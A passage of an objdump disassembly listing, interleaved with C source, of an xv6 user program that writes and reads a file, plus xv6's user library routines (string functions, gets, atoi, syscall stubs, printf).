a0: e8 1e 05 00 00 call 5c3 <printf> path[8] += i; a5: 0f b6 84 24 26 02 00 movzbl 0x226(%esp),%eax ac: 00 ad: 89 c2 mov %eax,%edx af: 8b 84 24 2c 02 00 00 mov 0x22c(%esp),%eax b6: 01 d0 add %edx,%eax b8: 88 84 24 26 02 00 00 mov %al,0x226(%esp) fd = open(path, O_CREATE | O_RDWR); bf: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp) c6: 00 c7: 8d 84 24 1e 02 00 00 lea 0x21e(%esp),%eax ce: 89 04 24 mov %eax,(%esp) d1: e8 85 03 00 00 call 45b <open> d6: 89 84 24 28 02 00 00 mov %eax,0x228(%esp) for(i = 0; i < 20; i++) dd: c7 84 24 2c 02 00 00 movl $0x0,0x22c(%esp) e4: 00 00 00 00 e8: eb 27 jmp 111 <main+0x111> // printf(fd, "%d\n", i); write(fd, data, sizeof(data)); ea: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) f1: 00 f2: 8d 44 24 1e lea 0x1e(%esp),%eax f6: 89 44 24 04 mov %eax,0x4(%esp) fa: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax 101: 89 04 24 mov %eax,(%esp) 104: e8 32 03 00 00 call 43b <write> printf(1, "write %d\n", i); path[8] += i; fd = open(path, O_CREATE | O_RDWR); for(i = 0; i < 20; i++) 109: 83 84 24 2c 02 00 00 addl $0x1,0x22c(%esp) 110: 01 111: 83 bc 24 2c 02 00 00 cmpl $0x13,0x22c(%esp) 118: 13 119: 7e cf jle ea <main+0xea> // printf(fd, "%d\n", i); write(fd, data, sizeof(data)); close(fd); 11b: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax 122: 89 04 24 mov %eax,(%esp) 125: e8 19 03 00 00 call 443 <close> printf(1, "read\n"); 12a: c7 44 24 04 4f 0d 00 movl $0xd4f,0x4(%esp) 131: 00 132: c7 04 24 01 00 00 00 movl $0x1,(%esp) 139: e8 85 04 00 00 call 5c3 <printf> fd = open(path, O_RDONLY); 13e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 145: 00 146: 8d 84 24 1e 02 00 00 lea 0x21e(%esp),%eax 14d: 89 04 24 mov %eax,(%esp) 150: e8 06 03 00 00 call 45b <open> 155: 89 84 24 28 02 00 00 mov %eax,0x228(%esp) for (i = 0; i < 20; i++) 15c: c7 84 24 2c 02 00 00 movl $0x0,0x22c(%esp) 163: 00 00 00 00 167: eb 27 jmp 190 <main+0x190> read(fd, data, sizeof(data)); 169: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 170: 00 171: 8d 44 24 1e lea 0x1e(%esp),%eax 175: 89 44 24 04 mov %eax,0x4(%esp) 179: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax 180: 89 04 24 mov %eax,(%esp) 183: e8 ab 02 00 00 call 433 <read> close(fd); printf(1, "read\n"); fd = open(path, O_RDONLY); for (i = 0; i < 20; i++) 188: 83 84 24 2c 02 00 00 addl $0x1,0x22c(%esp) 18f: 01 190: 83 bc 24 2c 02 00 00 cmpl $0x13,0x22c(%esp) 197: 13 198: 7e cf jle 169 <main+0x169> read(fd, data, sizeof(data)); close(fd); 19a: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax 1a1: 89 04 24 mov %eax,(%esp) 1a4: e8 9a 02 00 00 call 443 <close> wait(); 1a9: e8 75 02 00 00 call 423 <wait> exit(); 1ae: e8 68 02 00 00 call 41b <exit> 000001b3 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 1b3: 55 push %ebp 1b4: 89 e5 mov %esp,%ebp 1b6: 57 push %edi 1b7: 53 push %ebx asm volatile("cld; rep stosb" : 1b8: 8b 4d 08 mov 0x8(%ebp),%ecx 1bb: 8b 55 10 mov 0x10(%ebp),%edx 1be: 8b 45 0c mov 0xc(%ebp),%eax 1c1: 89 cb mov %ecx,%ebx 1c3: 89 df mov %ebx,%edi 1c5: 89 d1 mov %edx,%ecx 1c7: fc cld 1c8: f3 aa rep stos %al,%es:(%edi) 1ca: 89 ca mov %ecx,%edx 1cc: 89 fb mov %edi,%ebx 1ce: 89 5d 08 mov %ebx,0x8(%ebp) 1d1: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 1d4: 5b pop %ebx 1d5: 5f pop %edi 1d6: 5d pop %ebp 1d7: c3 ret 000001d8 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1d8: 55 push %ebp 1d9: 89 e5 mov %esp,%ebp 1db: 83 ec 10 sub $0x10,%esp char *os; os = s; 1de: 8b 45 08 mov 0x8(%ebp),%eax 1e1: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 1e4: 90 nop 1e5: 8b 45 08 mov 0x8(%ebp),%eax 1e8: 8d 50 01 lea 0x1(%eax),%edx 1eb: 89 55 08 mov %edx,0x8(%ebp) 1ee: 8b 55 0c mov 0xc(%ebp),%edx 1f1: 8d 4a 01 lea 0x1(%edx),%ecx 1f4: 89 4d 0c mov %ecx,0xc(%ebp) 1f7: 0f b6 12 movzbl (%edx),%edx 1fa: 88 10 mov %dl,(%eax) 1fc: 0f b6 00 movzbl (%eax),%eax 1ff: 84 c0 test %al,%al 201: 75 e2 jne 1e5 <strcpy+0xd> ; return os; 203: 8b 45 fc mov -0x4(%ebp),%eax } 206: c9 leave 207: c3 ret 00000208 <strcmp>: int strcmp(const char *p, const char *q) { 208: 55 push %ebp 209: 89 e5 mov %esp,%ebp while(*p && *p == *q) 20b: eb 08 jmp 215 <strcmp+0xd> p++, q++; 20d: 83 45 08 01 addl $0x1,0x8(%ebp) 211: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 215: 8b 45 08 mov 0x8(%ebp),%eax 218: 0f b6 00 movzbl (%eax),%eax 21b: 84 c0 test %al,%al 21d: 74 10 je 22f <strcmp+0x27> 21f: 8b 45 08 mov 0x8(%ebp),%eax 222: 0f b6 10 movzbl (%eax),%edx 225: 8b 45 0c mov 0xc(%ebp),%eax 228: 0f b6 00 movzbl (%eax),%eax 22b: 38 c2 cmp %al,%dl 22d: 74 de je 20d <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 22f: 8b 45 08 mov 0x8(%ebp),%eax 232: 0f b6 00 movzbl (%eax),%eax 235: 0f b6 d0 movzbl %al,%edx 238: 8b 45 0c mov 0xc(%ebp),%eax 23b: 0f b6 00 movzbl (%eax),%eax 23e: 0f b6 c0 movzbl %al,%eax 241: 29 c2 sub %eax,%edx 243: 89 d0 mov %edx,%eax } 245: 5d pop %ebp 246: c3 ret 00000247 <strlen>: uint strlen(char *s) { 247: 55 push %ebp 248: 89 e5 mov %esp,%ebp 24a: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 24d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 254: eb 04 jmp 25a <strlen+0x13> 256: 83 45 fc 01 addl $0x1,-0x4(%ebp) 25a: 8b 55 fc mov -0x4(%ebp),%edx 25d: 8b 45 08 mov 0x8(%ebp),%eax 260: 01 d0 add %edx,%eax 262: 0f b6 00 movzbl (%eax),%eax 265: 84 c0 test %al,%al 267: 75 ed jne 256 <strlen+0xf> ; return n; 269: 8b 45 fc mov -0x4(%ebp),%eax } 26c: c9 leave 26d: c3 ret 0000026e <memset>: void* memset(void *dst, int c, uint n) { 26e: 55 push %ebp 26f: 89 e5 mov %esp,%ebp 271: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 274: 8b 45 10 mov 0x10(%ebp),%eax 277: 89 44 24 08 mov %eax,0x8(%esp) 27b: 8b 45 0c mov 0xc(%ebp),%eax 27e: 89 44 24 04 mov %eax,0x4(%esp) 282: 8b 45 08 mov 0x8(%ebp),%eax 285: 89 04 24 mov %eax,(%esp) 288: e8 26 ff ff ff call 1b3 <stosb> return dst; 28d: 8b 45 08 mov 0x8(%ebp),%eax } 290: c9 leave 291: c3 ret 00000292 <strchr>: char* strchr(const char *s, char c) { 292: 55 push %ebp 293: 89 e5 mov %esp,%ebp 295: 83 ec 04 sub $0x4,%esp 298: 8b 45 0c mov 0xc(%ebp),%eax 29b: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 29e: eb 14 jmp 2b4 <strchr+0x22> if(*s == c) 2a0: 8b 45 08 mov 0x8(%ebp),%eax 2a3: 0f b6 00 movzbl (%eax),%eax 2a6: 3a 45 fc cmp -0x4(%ebp),%al 2a9: 75 05 jne 2b0 <strchr+0x1e> return (char*)s; 2ab: 8b 45 08 mov 0x8(%ebp),%eax 2ae: eb 13 jmp 2c3 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 2b0: 83 45 08 01 addl $0x1,0x8(%ebp) 2b4: 8b 45 08 mov 0x8(%ebp),%eax 2b7: 0f b6 00 movzbl (%eax),%eax 2ba: 84 c0 test %al,%al 2bc: 75 e2 jne 2a0 <strchr+0xe> if(*s == c) return (char*)s; return 0; 2be: b8 00 00 00 00 mov $0x0,%eax } 2c3: c9 leave 2c4: c3 ret 000002c5 <gets>: char* gets(char *buf, int max) { 2c5: 55 push %ebp 2c6: 89 e5 mov %esp,%ebp 2c8: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 2cb: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 2d2: eb 4c jmp 320 <gets+0x5b> cc = read(0, &c, 1); 2d4: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 2db: 00 2dc: 8d 45 ef lea -0x11(%ebp),%eax 2df: 89 44 24 04 mov %eax,0x4(%esp) 2e3: c7 04 24 00 00 00 00 movl $0x0,(%esp) 2ea: e8 44 01 00 00 call 433 <read> 2ef: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 2f2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 2f6: 7f 02 jg 2fa <gets+0x35> break; 2f8: eb 31 jmp 32b <gets+0x66> buf[i++] = c; 2fa: 8b 45 f4 mov -0xc(%ebp),%eax 2fd: 8d 50 01 lea 0x1(%eax),%edx 300: 89 55 f4 mov %edx,-0xc(%ebp) 303: 89 c2 mov %eax,%edx 305: 8b 45 08 mov 0x8(%ebp),%eax 308: 01 c2 add %eax,%edx 30a: 0f b6 45 ef movzbl -0x11(%ebp),%eax 30e: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 310: 0f b6 45 ef movzbl -0x11(%ebp),%eax 314: 3c 0a cmp $0xa,%al 316: 74 13 je 32b <gets+0x66> 318: 0f b6 45 ef movzbl -0x11(%ebp),%eax 31c: 3c 0d cmp $0xd,%al 31e: 74 0b je 32b <gets+0x66> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 320: 8b 45 f4 mov -0xc(%ebp),%eax 323: 83 c0 01 add $0x1,%eax 326: 3b 45 0c cmp 0xc(%ebp),%eax 329: 7c a9 jl 2d4 <gets+0xf> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 32b: 8b 55 f4 mov -0xc(%ebp),%edx 32e: 8b 45 08 mov 0x8(%ebp),%eax 331: 01 d0 add %edx,%eax 333: c6 00 00 movb $0x0,(%eax) return buf; 336: 8b 45 08 mov 0x8(%ebp),%eax } 339: c9 leave 33a: c3 ret 0000033b <stat>: int stat(char *n, struct stat *st) { 33b: 55 push %ebp 33c: 89 e5 mov %esp,%ebp 33e: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 341: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 348: 00 349: 8b 45 08 mov 0x8(%ebp),%eax 34c: 89 04 24 mov %eax,(%esp) 34f: e8 07 01 00 00 call 45b <open> 354: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 357: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 35b: 79 07 jns 364 <stat+0x29> return -1; 35d: b8 ff ff ff ff mov $0xffffffff,%eax 362: eb 23 jmp 387 <stat+0x4c> r = fstat(fd, st); 364: 8b 45 0c mov 0xc(%ebp),%eax 367: 89 44 24 04 mov %eax,0x4(%esp) 36b: 8b 45 f4 mov -0xc(%ebp),%eax 36e: 89 04 24 mov %eax,(%esp) 371: e8 fd 00 00 00 call 473 <fstat> 376: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 379: 8b 45 f4 mov -0xc(%ebp),%eax 37c: 89 04 24 mov %eax,(%esp) 37f: e8 bf 00 00 00 call 443 <close> return r; 384: 8b 45 f0 mov -0x10(%ebp),%eax } 387: c9 leave 388: c3 ret 00000389 <atoi>: int atoi(const char *s) { 389: 55 push %ebp 38a: 89 e5 mov %esp,%ebp 38c: 83 ec 10 sub $0x10,%esp int n; n = 0; 38f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 396: eb 25 jmp 3bd <atoi+0x34> n = n*10 + *s++ - '0'; 398: 8b 55 fc mov -0x4(%ebp),%edx 39b: 89 d0 mov %edx,%eax 39d: c1 e0 02 shl $0x2,%eax 3a0: 01 d0 add %edx,%eax 3a2: 01 c0 add %eax,%eax 3a4: 89 c1 mov %eax,%ecx 3a6: 8b 45 08 mov 0x8(%ebp),%eax 3a9: 8d 50 01 lea 0x1(%eax),%edx 3ac: 89 55 08 mov %edx,0x8(%ebp) 3af: 0f b6 00 movzbl (%eax),%eax 3b2: 0f be c0 movsbl %al,%eax 3b5: 01 c8 add %ecx,%eax 3b7: 83 e8 30 sub $0x30,%eax 3ba: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 3bd: 8b 45 08 mov 0x8(%ebp),%eax 3c0: 0f b6 00 movzbl (%eax),%eax 3c3: 3c 2f cmp $0x2f,%al 3c5: 7e 0a jle 3d1 <atoi+0x48> 3c7: 8b 45 08 mov 0x8(%ebp),%eax 3ca: 0f b6 00 movzbl (%eax),%eax 3cd: 3c 39 cmp $0x39,%al 3cf: 7e c7 jle 398 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 3d1: 8b 45 fc mov -0x4(%ebp),%eax } 3d4: c9 leave 3d5: c3 ret 000003d6 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 3d6: 55 push %ebp 3d7: 89 e5 mov %esp,%ebp 3d9: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 3dc: 8b 45 08 mov 0x8(%ebp),%eax 3df: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 3e2: 8b 45 0c mov 0xc(%ebp),%eax 3e5: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 3e8: eb 17 jmp 401 <memmove+0x2b> *dst++ = *src++; 3ea: 8b 45 fc mov -0x4(%ebp),%eax 3ed: 8d 50 01 lea 0x1(%eax),%edx 3f0: 89 55 fc mov %edx,-0x4(%ebp) 3f3: 8b 55 f8 mov -0x8(%ebp),%edx 3f6: 8d 4a 01 lea 0x1(%edx),%ecx 3f9: 89 4d f8 mov %ecx,-0x8(%ebp) 3fc: 0f b6 12 movzbl (%edx),%edx 3ff: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 401: 8b 45 10 mov 0x10(%ebp),%eax 404: 8d 50 ff lea -0x1(%eax),%edx 407: 89 55 10 mov %edx,0x10(%ebp) 40a: 85 c0 test %eax,%eax 40c: 7f dc jg 3ea <memmove+0x14> *dst++ = *src++; return vdst; 40e: 8b 45 08 mov 0x8(%ebp),%eax } 411: c9 leave 412: c3 ret 00000413 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 413: b8 01 00 00 00 mov $0x1,%eax 418: cd 40 int $0x40 41a: c3 ret 0000041b <exit>: SYSCALL(exit) 41b: b8 02 00 00 00 mov $0x2,%eax 420: cd 40 int $0x40 422: c3 ret 00000423 <wait>: SYSCALL(wait) 423: b8 03 00 00 00 mov $0x3,%eax 428: cd 40 int $0x40 42a: c3 ret 0000042b <pipe>: SYSCALL(pipe) 42b: b8 04 00 00 00 mov $0x4,%eax 430: cd 40 int $0x40 432: c3 ret 00000433 <read>: SYSCALL(read) 433: b8 05 00 00 00 mov $0x5,%eax 438: cd 40 int $0x40 43a: c3 ret 0000043b <write>: SYSCALL(write) 43b: b8 10 00 00 00 mov $0x10,%eax 440: cd 40 int $0x40 442: c3 ret 00000443 <close>: SYSCALL(close) 443: b8 15 00 00 00 mov $0x15,%eax 448: cd 40 int $0x40 44a: c3 ret 0000044b <kill>: SYSCALL(kill) 44b: b8 06 00 00 00 mov $0x6,%eax 450: cd 40 int $0x40 452: c3 ret 00000453 <exec>: SYSCALL(exec) 453: b8 07 00 00 00 mov $0x7,%eax 458: cd 40 int $0x40 45a: c3 ret 0000045b <open>: SYSCALL(open) 45b: b8 0f 00 00 00 mov $0xf,%eax 460: cd 40 int $0x40 462: c3 ret 00000463 <mknod>: SYSCALL(mknod) 463: b8 11 00 00 00 mov $0x11,%eax 468: cd 40 int $0x40 46a: c3 ret 0000046b <unlink>: SYSCALL(unlink) 46b: b8 12 00 00 00 mov $0x12,%eax 470: cd 40 int $0x40 472: c3 ret 00000473 <fstat>: SYSCALL(fstat) 473: b8 08 00 00 00 mov $0x8,%eax 478: cd 40 int $0x40 47a: c3 ret 0000047b <link>: SYSCALL(link) 47b: b8 13 00 00 00 mov $0x13,%eax 480: cd 40 int $0x40 482: c3 ret 00000483 <mkdir>: SYSCALL(mkdir) 483: b8 14 00 00 00 mov $0x14,%eax 488: cd 40 int $0x40 48a: c3 ret 0000048b <chdir>: SYSCALL(chdir) 48b: b8 09 00 00 00 mov $0x9,%eax 490: cd 40 int $0x40 492: c3 ret 00000493 <dup>: SYSCALL(dup) 493: b8 0a 00 00 00 mov $0xa,%eax 498: cd 40 int $0x40 49a: c3 ret 0000049b <getpid>: SYSCALL(getpid) 49b: b8 0b 00 00 00 mov $0xb,%eax 4a0: cd 40 int $0x40 4a2: c3 ret 000004a3 <sbrk>: SYSCALL(sbrk) 4a3: b8 0c 00 00 00 mov $0xc,%eax 4a8: cd 40 int $0x40 4aa: c3 ret 000004ab <sleep>: SYSCALL(sleep) 4ab: b8 0d 00 00 00 mov $0xd,%eax 4b0: cd 40 int $0x40 4b2: c3 ret 000004b3 <uptime>: SYSCALL(uptime) 4b3: b8 0e 00 00 00 mov $0xe,%eax 4b8: cd 40 int $0x40 4ba: c3 ret 000004bb <clone>: SYSCALL(clone) 4bb: b8 16 00 00 00 mov $0x16,%eax 4c0: cd 40 int $0x40 4c2: c3 ret 000004c3 <texit>: SYSCALL(texit) 4c3: b8 17 00 00 00 mov $0x17,%eax 4c8: cd 40 int $0x40 4ca: c3 ret 000004cb <tsleep>: SYSCALL(tsleep) 4cb: b8 18 00 00 00 mov $0x18,%eax 4d0: cd 40 int $0x40 4d2: c3 ret 000004d3 <twakeup>: SYSCALL(twakeup) 4d3: b8 19 00 00 00 mov $0x19,%eax 4d8: cd 40 int $0x40 4da: c3 ret 000004db <test>: SYSCALL(test) 4db: b8 1a 00 00 00 mov $0x1a,%eax 4e0: cd 40 int $0x40 4e2: c3 ret 000004e3 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 4e3: 55 push %ebp 4e4: 89 e5 mov %esp,%ebp 4e6: 83 ec 18 sub $0x18,%esp 4e9: 8b 45 0c mov 0xc(%ebp),%eax 4ec: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 4ef: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4f6: 00 4f7: 8d 45 f4 lea -0xc(%ebp),%eax 4fa: 89 44 24 04 mov %eax,0x4(%esp) 4fe: 8b 45 08 mov 0x8(%ebp),%eax 501: 89 04 24 mov %eax,(%esp) 504: e8 32 ff ff ff call 43b <write> } 509: c9 leave 50a: c3 ret 0000050b <printint>: static void printint(int fd, int xx, int base, int sgn) { 50b: 55 push %ebp 50c: 89 e5 mov %esp,%ebp 50e: 56 push %esi 50f: 53 push %ebx 510: 83 ec 30 sub $0x30,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 513: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 51a: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 51e: 74 17 je 537 <printint+0x2c> 520: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 524: 79 11 jns 537 <printint+0x2c> neg = 1; 526: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 52d: 8b 45 0c mov 0xc(%ebp),%eax 530: f7 d8 neg %eax 532: 89 45 ec mov %eax,-0x14(%ebp) 535: eb 06 jmp 53d <printint+0x32> } else { x = xx; 537: 8b 45 0c mov 0xc(%ebp),%eax 53a: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 53d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 544: 8b 4d f4 mov -0xc(%ebp),%ecx 547: 8d 41 01 lea 0x1(%ecx),%eax 54a: 89 45 f4 mov %eax,-0xc(%ebp) 54d: 8b 5d 10 mov 0x10(%ebp),%ebx 550: 8b 45 ec mov -0x14(%ebp),%eax 553: ba 00 00 00 00 mov $0x0,%edx 558: f7 f3 div %ebx 55a: 89 d0 mov %edx,%eax 55c: 0f b6 80 8c 11 00 00 movzbl 0x118c(%eax),%eax 563: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 567: 8b 75 10 mov 0x10(%ebp),%esi 56a: 8b 45 ec mov -0x14(%ebp),%eax 56d: ba 00 00 00 00 mov $0x0,%edx 572: f7 f6 div %esi 574: 89 45 ec mov %eax,-0x14(%ebp) 577: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 57b: 75 c7 jne 544 <printint+0x39> if(neg) 57d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 581: 74 10 je 593 <printint+0x88> buf[i++] = '-'; 583: 8b 45 f4 mov -0xc(%ebp),%eax 586: 8d 50 01 lea 0x1(%eax),%edx 589: 89 55 f4 mov %edx,-0xc(%ebp) 58c: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 591: eb 1f jmp 5b2 <printint+0xa7> 593: eb 1d jmp 5b2 <printint+0xa7> putc(fd, buf[i]); 595: 8d 55 dc lea -0x24(%ebp),%edx 598: 8b 45 f4 mov -0xc(%ebp),%eax 59b: 01 d0 add %edx,%eax 59d: 0f b6 00 movzbl (%eax),%eax 5a0: 0f be c0 movsbl %al,%eax 5a3: 89 44 24 04 mov %eax,0x4(%esp) 5a7: 8b 45 08 mov 0x8(%ebp),%eax 5aa: 89 04 24 mov %eax,(%esp) 5ad: e8 31 ff ff ff call 4e3 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 5b2: 83 6d f4 01 subl $0x1,-0xc(%ebp) 5b6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 5ba: 79 d9 jns 595 <printint+0x8a> putc(fd, buf[i]); } 5bc: 83 c4 30 add $0x30,%esp 5bf: 5b pop %ebx 5c0: 5e pop %esi 5c1: 5d pop %ebp 5c2: c3 ret 000005c3 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 5c3: 55 push %ebp 5c4: 89 e5 mov %esp,%ebp 5c6: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 5c9: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 5d0: 8d 45 0c lea 0xc(%ebp),%eax 5d3: 83 c0 04 add $0x4,%eax 5d6: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 5d9: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 5e0: e9 7c 01 00 00 jmp 761 <printf+0x19e> c = fmt[i] & 0xff; 5e5: 8b 55 0c mov 0xc(%ebp),%edx 5e8: 8b 45 f0 mov -0x10(%ebp),%eax 5eb: 01 d0 add %edx,%eax 5ed: 0f b6 00 movzbl (%eax),%eax 5f0: 0f be c0 movsbl %al,%eax 5f3: 25 ff 00 00 00 and $0xff,%eax 5f8: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 5fb: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 5ff: 75 2c jne 62d <printf+0x6a> if(c == '%'){ 601: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 605: 75 0c jne 613 <printf+0x50> state = '%'; 607: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 60e: e9 4a 01 00 00 jmp 75d <printf+0x19a> } else { putc(fd, c); 613: 8b 45 e4 mov -0x1c(%ebp),%eax 616: 0f be c0 movsbl %al,%eax 619: 89 44 24 04 mov %eax,0x4(%esp) 61d: 8b 45 08 mov 0x8(%ebp),%eax 620: 89 04 24 mov %eax,(%esp) 623: e8 bb fe ff ff call 4e3 <putc> 628: e9 30 01 00 00 jmp 75d <printf+0x19a> } } else if(state == '%'){ 62d: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 631: 0f 85 26 01 00 00 jne 75d <printf+0x19a> if(c == 'd'){ 637: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 63b: 75 2d jne 66a <printf+0xa7> printint(fd, *ap, 10, 1); 63d: 8b 45 e8 mov -0x18(%ebp),%eax 640: 8b 00 mov (%eax),%eax 642: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 649: 00 64a: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 651: 00 652: 89 44 24 04 mov %eax,0x4(%esp) 656: 8b 45 08 mov 0x8(%ebp),%eax 659: 89 04 24 mov %eax,(%esp) 65c: e8 aa fe ff ff call 50b <printint> ap++; 661: 83 45 e8 04 addl $0x4,-0x18(%ebp) 665: e9 ec 00 00 00 jmp 756 <printf+0x193> } else if(c == 'x' || c == 'p'){ 66a: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 66e: 74 06 je 676 <printf+0xb3> 670: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 674: 75 2d jne 6a3 <printf+0xe0> printint(fd, *ap, 16, 0); 676: 8b 45 e8 mov -0x18(%ebp),%eax 679: 8b 00 mov (%eax),%eax 67b: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 682: 00 683: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 68a: 00 68b: 89 44 24 04 mov %eax,0x4(%esp) 68f: 8b 45 08 mov 0x8(%ebp),%eax 692: 89 04 24 mov %eax,(%esp) 695: e8 71 fe ff ff call 50b <printint> ap++; 69a: 83 45 e8 04 addl $0x4,-0x18(%ebp) 69e: e9 b3 00 00 00 jmp 756 <printf+0x193> } else if(c == 's'){ 6a3: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 6a7: 75 45 jne 6ee <printf+0x12b> s = (char*)*ap; 6a9: 8b 45 e8 mov -0x18(%ebp),%eax 6ac: 8b 00 mov (%eax),%eax 6ae: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 6b1: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 6b5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 6b9: 75 09 jne 6c4 <printf+0x101> s = "(null)"; 6bb: c7 45 f4 55 0d 00 00 movl $0xd55,-0xc(%ebp) while(*s != 0){ 6c2: eb 1e jmp 6e2 <printf+0x11f> 6c4: eb 1c jmp 6e2 <printf+0x11f> putc(fd, *s); 6c6: 8b 45 f4 mov -0xc(%ebp),%eax 6c9: 0f b6 00 movzbl (%eax),%eax 6cc: 0f be c0 movsbl %al,%eax 6cf: 89 44 24 04 mov %eax,0x4(%esp) 6d3: 8b 45 08 mov 0x8(%ebp),%eax 6d6: 89 04 24 mov %eax,(%esp) 6d9: e8 05 fe ff ff call 4e3 <putc> s++; 6de: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 6e2: 8b 45 f4 mov -0xc(%ebp),%eax 6e5: 0f b6 00 movzbl (%eax),%eax 6e8: 84 c0 test %al,%al 6ea: 75 da jne 6c6 <printf+0x103> 6ec: eb 68 jmp 756 <printf+0x193> putc(fd, *s); s++; } } else if(c == 'c'){ 6ee: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 6f2: 75 1d jne 711 <printf+0x14e> putc(fd, *ap); 6f4: 8b 45 e8 mov -0x18(%ebp),%eax 6f7: 8b 00 mov (%eax),%eax 6f9: 0f be c0 movsbl %al,%eax 6fc: 89 44 24 04 mov %eax,0x4(%esp) 700: 8b 45 08 mov 0x8(%ebp),%eax 703: 89 04 24 mov %eax,(%esp) 706: e8 d8 fd ff ff call 4e3 <putc> ap++; 70b: 83 45 e8 04 addl $0x4,-0x18(%ebp) 70f: eb 45 jmp 756 <printf+0x193> } else if(c == '%'){ 711: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 715: 75 17 jne 72e <printf+0x16b> putc(fd, c); 717: 8b 45 e4 mov -0x1c(%ebp),%eax 71a: 0f be c0 movsbl %al,%eax 71d: 89 44 24 04 mov %eax,0x4(%esp) 721: 8b 45 08 mov 0x8(%ebp),%eax 724: 89 04 24 mov %eax,(%esp) 727: e8 b7 fd ff ff call 4e3 <putc> 72c: eb 28 jmp 756 <printf+0x193> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 72e: c7 44 24 04 